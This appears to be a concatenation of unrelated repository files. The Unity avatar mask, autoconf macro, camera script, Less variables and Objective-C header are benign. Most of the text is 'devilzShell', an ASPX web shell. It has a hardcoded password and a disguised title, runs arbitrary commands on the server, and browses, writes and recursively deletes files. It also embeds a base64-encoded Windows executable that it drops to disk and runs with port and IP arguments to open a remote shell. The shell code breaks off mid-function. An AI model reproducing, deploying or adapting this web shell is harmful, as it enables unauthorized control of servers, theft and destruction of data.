- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger2/Bip01 R Finger21
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger2/Bip01 R Finger21/Bip01
R Finger22
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger3
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger3/Bip01 R Finger31
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger3/Bip01 R Finger31/Bip01
R Finger32
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger4
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger4/Bip01 R Finger41
m_Weight: 1
- m_Path: Bip01/Bip01 Pelvis/Bip01 Spine/Bip01 Spine1/Bip01 Spine2/Bip01 R Clavicle/Bip01
R UpperArm/Bip01 R Forearm/Bip01 R Hand/Bip01 R Finger4/Bip01 R Finger41/Bip01
R Finger42
m_Weight: 1
- m_Path: m023_hipoly_81_bones
m_Weight: 1
| Mask | 3 | microsoft/MoveBox-for-Microsoft-Rocketbox | MoveBox_CaptureStudio/Assets/Microsoft Rocketbox MoveBox/Resources/Avatar Mask.mask | [
"MIT"
] |
# Check for support for nanosleep. It's defined in <time.h>, but on
# some systems, such as solaris, you need to link in a library to use it.
# We set acx_nanosleep_ok if nanosleep is supported; in that case,
# NANOSLEEP_LIBS is set to whatever libraries are needed to support
# nanosleep.
AC_DEFUN([ACX_NANOSLEEP],
[AC_MSG_CHECKING(if nanosleep requires any libraries)
AC_LANG_SAVE
AC_LANG_C
acx_nanosleep_ok="no"
NANOSLEEP_LIBS=
# For most folks, this should just work
AC_TRY_LINK([#include <time.h>],
[static struct timespec ts; nanosleep(&ts, NULL);],
[acx_nanosleep_ok=yes])
# For solaris, we may need -lrt
if test "x$acx_nanosleep_ok" != "xyes"; then
OLD_LIBS="$LIBS"
LIBS="-lrt $LIBS"
AC_TRY_LINK([#include <time.h>],
[static struct timespec ts; nanosleep(&ts, NULL);],
[acx_nanosleep_ok=yes])
if test "x$acx_nanosleep_ok" = "xyes"; then
NANOSLEEP_LIBS="-lrt"
fi
LIBS="$OLD_LIBS"
fi
if test "x$acx_nanosleep_ok" != "xyes"; then
AC_MSG_ERROR([cannot find the nanosleep function])
else
AC_MSG_RESULT(${NANOSLEEP_LIBS:-no})
fi
AC_LANG_RESTORE
])
| M4 | 5 | cssl-unist/tweezer | Docker/gperftools/m4/acx_nanosleep.m4 | [
"MIT"
] |
sleep 1
t app led_count 0
sleep 1
t app led red_top_bottom on
| AGS Script | 1 | waltersgrey/autoexechack | TurnOnAndLED/Top-bottom-led/Hero3PlusBlack/autoexec.ash | [
"MIT"
] |
@navbar-height: 32px;
@navbar-default-link-color: #303030;
@navbar-default-color: #303030;
@navbar-default-bg: #ffffff;
@navbar-default-border: #e0e0e0;
@font-family-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
@font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
| Less | 3 | KarlParkinson/mitmproxy | web/src/css/vendor-bootstrap-variables.less | [
"MIT"
] |
@import Foundation;
@interface NSBoom<T> : NSObject
@end
| C | 0 | lwhsu/swift | test/SILGen/Inputs/objc_required_designated_init.h | [
"Apache-2.0"
] |
<%
'#
'# devilzShell <[aspx]>
'# ^^^^^^^^^^^^
'# author: b374k
'# greets: devilzc0der(s) and all of you who love peace and freedom
'#
'#
'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'# Jayalah Indonesiaku
%>
<script runat="server">
'################# VARIABLES GOES HERE #######################=============================================]
Dim shell_name As String = "devilzShell"
Dim shell_fake_name As String = "Server Logging System"
Dim shell_title As String = " :: " & shell_name & " ::"
Dim shell_version As String = "v1"
Dim shell_password As String = "devilzc0der"
Dim shell_fav_port As String = "12345"
Dim shell_color As String = "#374374"
</script>
<%@ Page Language="VB" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Threading"%>
<script runat="server">
'################# RESOURCES GOES HERE #######################=============================================]
Dim icon As String = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw" & _
"4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4" & _
"E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx" & _
"dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei" & _
"oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH" & _
"0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU" & _
"vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2" & _
"xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp" & _
"gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO" & _
"D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"
Dim bg As String = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE" & _
"MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="
Dim wBind As String = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v" & _
"ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0" & _
"and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA" & _
"ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA" & _
"EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA" & _
"AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA" & _
"AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk" & _
"//+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkH" & _
"HgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D" & _
"+AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5T" & _
"AGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xU" & _
"JBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zg" & _
"dNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IM" & _
"i8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJo" & _
"BONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACa" & _
"pum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS" & _
"1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbr" & _
"Axw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBW" & _
"VZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJ" & _
"fHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF" & _
"1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1" & _
"zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTF" & _
"QQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDr" & _
"z4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL" & _
"4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQO" & _
"gGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0Wy" & _
"Y4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN" & _
"9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls" & _
"22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAI" & _
"CMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhL" & _
"OBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7" & _
"NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1J" & _
"BaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/x" & _
"b18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukp" & _
"SeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQO" & _
"AD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAo" & _
"PKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6" & _
"iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY" & _
"4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EE" & _
"tYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9" & _
"jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtd" & _
"w+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZ" & _
"WrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUu" & _
"LZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ" & _
"5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1" & _
"yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874" & _
"vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7Vt" & _
"TBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC" & _
"4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7" & _
"RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ" & _
"14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF" & _
"0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtz" & _
"AwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0W" & _
"Ie3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R" & _
"+I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD" & _
"61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCV" & _
"w+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vi" & _
"jeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjP" & _
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'//################# FUNCTION GOES HERE #######################==============================================]
Private Declare Auto Function SHGetFileInfo Lib "shell32.dll" ( _
ByVal pszPath As String, _
ByVal dwFileAttributes As Int32, _
ByRef psfi As SHFILEINFO, _
ByVal cbFileInfo As Int32, _
ByVal uFlags As Int32) As IntPtr
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Auto, Pack:=1)> _
Private Structure SHFILEINFO
Private Const MAX_PATH As Int32 = 260
Public hIcon As IntPtr
Public iIcon As Int32
Public dwAttributes As Int32
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=MAX_PATH)> _
Public szDisplayName As String
<MarshalAs(UnmanagedType.ByValTStr, SizeConst:=80)> _
Public szTypeName As String
End Structure
Private Const SHGFI_TYPENAME As Int32 = &H400
Private Function GetFileDescription(ByVal FileName As String) As String
Dim shfi As SHFILEINFO = Nothing
SHGetFileInfo(FileName, 0, shfi, Marshal.SizeOf(shfi), SHGFI_TYPENAME)
Return shfi.szTypeName
End Function
Function xcleanpath(ByVal path As String) As String
Dim strlen As String
path = urldecode(Trim(path))
strlen = Len(path)
If strlen > 0 Then
Do While ((Mid(path, strlen) = "\") And (strlen > 0))
strlen = strlen - 1
path = Mid(path, 1, strlen)
Loop
Return path & "\"
End If
Return path
End Function
Function is_dir(ByVal path As String) As Boolean
path = urldecode(path)
Try
Dim dInfo As New DirectoryInfo(path)
If dInfo.Exists Then
Return True
End If
Catch ex As Exception
End Try
Return False
End Function
Function is_file(ByVal path As String) As Boolean
path = urldecode(path)
Try
Dim fInfo As New FileInfo(path)
If fInfo.Exists Then
Return True
End If
Catch ex As Exception
End Try
Return False
End Function
Function dirname(ByVal path As String) As String
If (is_dir(path)) Then
Dim di As New DirectoryInfo(path)
Return xcleanpath(di.FullName)
Else
If (is_file(path)) Then
Dim fi As New FileInfo(path)
Return xcleanpath(fi.DirectoryName)
End If
End If
Return xcleanpath(path)
End Function
Function nl2br(ByVal text As String) As String
Return Replace(text, vbCrLf, "<br />")
End Function
Function urldecode(ByVal str As String) As String
Return Server.UrlDecode(str)
End Function
Function urlencode(ByVal str As String) As String
Return Server.UrlEncode(str)
End Function
Function base64_decode(ByVal base64String As String) As String
Const Base64 As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
Dim dataLength As String = Len(base64String)
Dim sOut As String = ""
For groupBegin As Integer = 1 To dataLength Step 4
Dim CharCounter, thisData As Integer
Dim thisChar, pOut As Char
Dim numDataBytes As Integer = 3
Dim nGroup As Integer = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = StrDup(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Return sOut
End Function
Function sort(ByVal arr_ As Array) As Array
Dim buff As String = ""
Dim temp As String = ""
For Each b As String In arr_
buff = buff & b & "|"
Next
If ((Len(buff) - 1) > 0) Then
Dim arr As Array = Split(Mid(buff, 1, Len(buff) - 1), "|")
For i As Integer = UBound(arr) - 1 To 0 Step -1
For j As Integer = 0 To i
If ((arr(j)) > (arr(j + 1))) Then
temp = arr(j + 1)
arr(j + 1) = arr(j)
arr(j) = temp
End If
Next
Next
Return arr
End If
Return arr_
End Function
Function htmlspecialchars(ByVal text As String) As String
text = Replace(text, "&", "&")
text = Replace(text, """", """)
text = Replace(text, "'", "'")
text = Replace(text, "<", "<")
text = Replace(text, ">", ">")
Return text
End Function
Function xfilesave(ByVal FileName As String, ByVal allbytes() As Byte) As Boolean
Dim fi As New FileInfo(FileName)
If fi.Exists Then
fi.Delete()
If fi.Exists Then
Return False
End If
End If
File.WriteAllBytes(FileName, allbytes)
Dim ffi As New FileInfo(FileName)
If ffi.Exists Then
Return True
End If
Return False
End Function
Function xfileopen(ByVal filepath As String, ByVal binary As Boolean) As String
filepath = urldecode(filepath)
If (binary) Then
Dim fi As New FileInfo(filepath)
If fi.Exists Then
Return System.Text.Encoding.UTF8.GetString(File.ReadAllBytes(filepath))
End If
Else
Dim fi As New FileInfo(filepath)
If fi.Exists Then
Return File.ReadAllText(filepath)
End If
End If
Return ""
End Function
Function xparsefilesize(ByVal size As Integer) As String
If (size <= 1024) Then
Return size
Else
If (size <= 1024 * 1024) Then
Return FormatNumber(size / 1024, 2) & " kb"
Else
Return FormatNumber(size / 1024 / 1024, 2) & " mb"
End If
End If
End Function
Function xfileperms(ByVal fpath As String) As String
Dim isreadable As String = "r"
Dim iswriteable As String = "-"
If is_file(fpath) Then
Dim fi As New FileInfo(fpath)
If Not (fi.Attributes And FileAttributes.ReadOnly) Then
iswriteable = "w"
End If
ElseIf is_dir(fpath) Then
Dim fi As New DirectoryInfo(fpath)
If Not (fi.Attributes And FileAttributes.ReadOnly) Then
iswriteable = "w"
End If
End If
Return isreadable & " / " & iswriteable
End Function
Function xdateformat(ByVal tgl As Date) As String
Return tgl.ToString("dd-MMM-yyyy HH:mm")
End Function
Function xfilelastmodified(ByVal fpath As String) As String
fpath = urldecode(fpath)
If ((is_dir(fpath)) Or (is_file(fpath))) Then
Dim di As New DirectoryInfo(fpath)
Return xdateformat(di.LastWriteTime)
End If
Return "???"
End Function
Function xparentfolder(ByVal sdir As String) As String
sdir = urldecode(sdir)
If Directory.Exists(sdir) Then
Dim di As New DirectoryInfo(sdir)
If di.Parent IsNot Nothing Then
Dim testt As String = xcleanpath(di.Parent.FullName)
Return testt
End If
End If
Return sdir
End Function
Function xfilesummary(ByVal fpath As String) As String
Dim buff As String = ""
If (is_file(fpath)) Then
buff = "Filesize : " & xparsefilesize(xfilesize(fpath)) & " ( " & xfilesize(fpath) & " ) <span class=""gaul""> :: </span>Permission : " & xfileperms(fpath) & " ( " & xfileowner(fpath) & " )<span class=""gaul""> :: </span>modified : " & xfilelastmodified(fpath)
End If
Return buff
End Function
Function xfilesize(ByVal fpath As String) As Long
If (is_file(fpath)) Then
Dim fi As New FileInfo(fpath)
Return fi.Length
End If
Return 0
End Function
Function xfileowner(ByVal fpath As String) As String
If (is_file(fpath)) Then
Dim fi As New FileInfo(fpath)
Dim ds As System.Security.AccessControl.FileSecurity = fi.GetAccessControl
Dim ir As System.Security.Principal.IdentityReference = ds.GetOwner(GetType(System.Security.Principal.NTAccount))
Return ir.Value.Substring(InStr(ir.Value.ToString, "\"))
ElseIf (is_dir(fpath)) Then
Dim di As New FileInfo(fpath)
Try
Dim ds As System.Security.AccessControl.FileSecurity = di.GetAccessControl
Dim ir As System.Security.Principal.IdentityReference = ds.GetOwner(GetType(System.Security.Principal.NTAccount))
Return ir.Value.Substring(InStr(ir.Value.ToString, "\"))
Catch ex As Exception
End Try
End If
Return "???"
End Function
Function ekse(ByVal cmd As String, ByVal cwd As String) As String
Dim p As System.Diagnostics.Process = New System.Diagnostics.Process()
With p.StartInfo
.FileName = Environ("COMSPEC")
.CreateNoWindow = True
.RedirectStandardInput = True
.RedirectStandardOutput = True
.RedirectStandardError = True
.UseShellExecute = False
.WorkingDirectory = xcleanpath(urldecode(Request.QueryString("dir")))
.Arguments = "/C " & cmd
End With
p.Start()
Dim all As String = p.StandardOutput.ReadToEnd
p.Close()
Return all
End Function
Function OSver() As String
Return System.Environment.OSVersion.VersionString
End Function
Function xparsedir(ByVal dir As String) As String
Dim dirs() As String = Split(dir, "\")
Dim buff As String = ""
Dim dlink As String = ""
For Each d As String In dirs
d = Trim(d)
If (d <> "") Then
dlink = dlink & urlencode(d & "\")
buff &= "<a href=""?dir=" & dlink & """>" & d & " " & "\" & "</a> "
End If
Next
Return "<span class=""gaul"">[ </span>" & buff & "<span class=""gaul""> ]</span>"
End Function
Function xrunexploit(ByVal fpath As String, ByVal base64 As String, ByVal port As String, ByVal ip As String) As Boolean
Dim con() As Byte = Convert.FromBase64String(wBind)
Dim ok As Boolean = False
Dim final As String = ""
If (is_file(fpath)) Then
File.Delete(fpath)
End If
If (xfilesave(fpath, con)) Then
Dim p As Process = New Process
With p.StartInfo
.FileName = fpath
.CreateNoWindow = True
.Arguments = port & " " & ip
End With
p.Start()
Return True
End If
Return False
End Function
Function xdrive() As String
Dim buff, letters, lett As String
letters = ""
buff = ""
For Each letter As DriveInfo In DriveInfo.GetDrives
lett = Mid(letter.Name, 1, 1)
letters = "<a href=""?dir=" & lett & ":\""><span class=""gaul"">[ </span>"
letters &= lett
letters &= "<span class=""gaul""> ]</span</a> "
buff &= letters
Next
If (buff <> "") Then
buff = buff & "<br />"
End If
Return buff
End Function
Public Sub xrmdir(ByVal path As String)
path = xcleanpath(path)
path = Mid(path, 1, Len(path) - 1)
Dim di As New DirectoryInfo(path)
If di.Exists Then
For Each di_ As DirectoryInfo In di.GetDirectories
xrmdir(di_.FullName)
Next
For Each fi_ As FileInfo In di.GetFiles
fi_.Delete()
Next
End If
di.Delete()
End Sub
Function xdir(ByVal path As String) As String
path = Trim(urldecode(path))
path = xcleanpath(path)
Dim buff, sf, sd, dd, nextdir As String
buff = ""
If (is_dir(path)) Then
Dim fi As New DirectoryInfo(path)
Dim xfname As New ArrayList
Dim xdname As New ArrayList
For Each xf As FileInfo In fi.GetFiles
xfname.Add(xf.FullName)
Next
For Each xd As DirectoryInfo In fi.GetDirectories
xdname.Add(xd.FullName)
Next
xfname.Sort()
xdname.Sort()
buff = "<div id=""explorer""><table class=""tblExplorer"">" & _
"<tr><th>Filename</th>" & _
"<th style=""width:80px;"">Filesize</th>" & _
"<th style=""width:80px;"">Permission</th>" & _
"<th style=""width:150px;"">Last Modified</th>" & _
"<th style=""width:180px;"">Action</th></tr>"
If (Len(path) > 3) Then
sd = "."
dd = xcleanpath(path)
buff &= "<tr onmouseover=""this.style.cursor='pointer';this.style.cursor='hand';"" onclick=""window.location= '?dir=" & urlencode(dd) & "';"">" & _
"<td><span style=""font-weight:bold;""><a href=""?dir=" & xcleanpath(dd) & """>[</span> " & sd & " <span style=""font-weight:bold;"">]</span></a></td>" & _
"<td>DIR</td>" & _
"<td style=""text-align:center;"">" & xfileperms(dd) & "</td>" & _
"<td style=""text-align:center;"">" & xfilelastmodified(dd) & "</td>" & _
"<td style=""text-align:center;""><a href=""?dir=" & dd & "&properties=" & xcleanpath(dd) & """>Properties</a> | <a href=""?dir=" & xcleanpath(xparentfolder(dd)) & "&del=" & xcleanpath(dd) & """>Remove</a></td>" & _
"</tr>"
sd = ".."
dd = xcleanpath(xparentfolder(path))
buff &= "<tr onmouseover=""this.style.cursor='pointer';this.style.cursor='hand';"" onclick=""window.location= '?dir=" & urlencode(dd) & "';"">" & _
"<td><span style=""font-weight:bold;""><a href=""?dir=" & dd & """>[</span> " & sd & " <span style=""font-weight:bold;"">]</span></a></td>" & _
"<td>DIR</td>" & _
"<td style=""text-align:center;"">" & xfileperms(dd) & "</td>" & _
"<td style=""text-align:center;"">" & xfilelastmodified(dd) & "</td>" & _
